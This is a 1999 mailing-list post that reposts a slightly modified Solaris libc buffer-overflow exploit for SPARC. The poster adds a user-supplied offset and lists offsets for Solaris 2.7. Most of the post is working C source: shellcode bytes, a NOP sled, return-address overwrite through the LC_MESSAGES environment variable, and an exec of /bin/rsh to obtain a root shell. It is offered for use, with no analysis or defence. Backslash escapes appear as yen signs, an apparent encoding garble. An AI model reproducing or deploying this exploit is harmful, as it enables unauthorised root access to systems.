Re: Solaris libc exploit

acpizer (acpizer@MACH.UNSEEN.ORG)
Sun, 23 May 1999 14:25:26 +0100 

Hi guys,

 Below is a slightly modified exploit which will allow the user to specify
 the offset,  the author has not provided offsets for 2.7/SPARC so here
 they are, any one of these can be used: 7144, 7152, 7160, 7168...

 Cheers.


-- snip --
/*============================================================
   ex_lobc.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security
   (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4th@usa.net)


   offsets for 2.7/SPARC: 7144, 7152, 7160, 7168, and more...
   offset for 2.6/SPARC: 5392

  ============================================================
*/
#define EV          "LC_MESSAGES="
#define ADJUST      0
#define STARTADR    400
#define NOP         0xa61cc013
#define RETS        600

char    x[80000];

char exploit_code[] =
"¥x2d¥x0b¥xd8¥x9a¥xac¥x15¥xa1¥x6e"
"¥x2b¥x0b¥xda¥xdc¥xae¥x15¥x63¥x68"
"¥x90¥x0b¥x80¥x0e¥x92¥x03¥xa0¥x0c"
"¥x94¥x10¥x20¥x10¥x94¥x22¥xa0¥x10"
"¥x9c¥x03¥xa0¥x14"
"¥xec¥x3b¥xbf¥xec¥xc0¥x23¥xbf¥xf4¥xdc¥x23¥xbf¥xf8¥xc0¥x23¥xbf¥xfc"
"¥x82¥x10¥x20¥x3b¥x91¥xd0¥x20¥x08¥x90¥x1b¥xc0¥x0f¥x82¥x10¥x20¥x01"
"¥x91¥xd0¥x20¥x08"
;

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 ¥n");
}

int i;
unsigned int ret_adr;

main(int argc, char *argv[])
{
    int OFFSET;

    putenv("LANG=");
    memset(x,'x',70000);


    if (argc == 2)
      OFFSET = atoi(argv[1]);
        else
             OFFSET = 5392;     // default offset for 2.6

    for (i = 0; i < ADJUST; i++) x[i]=0x40;
    for (i = ADJUST; i < 1000; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) ¥
		x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx,  offset = %d¥n",ret_adr, OFFSET);
    if ((ret_adr & 0xff) ==0 ){
        ret_adr -=16;
        printf("New jumping address : %lx¥n",ret_adr);
    }
    for (i = ADJUST+RETS; i < RETS+600; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    memcpy(x,EV,strlen(EV));
    x[3000]=0;
    putenv(x);
    execl("/bin/rsh","su",(char *)0);
}
-- snip --

-------------------------------------------------------------------------------
"Probably you've only really grown up, when you can bear not being understood."

                              Marian Gold /Alphaville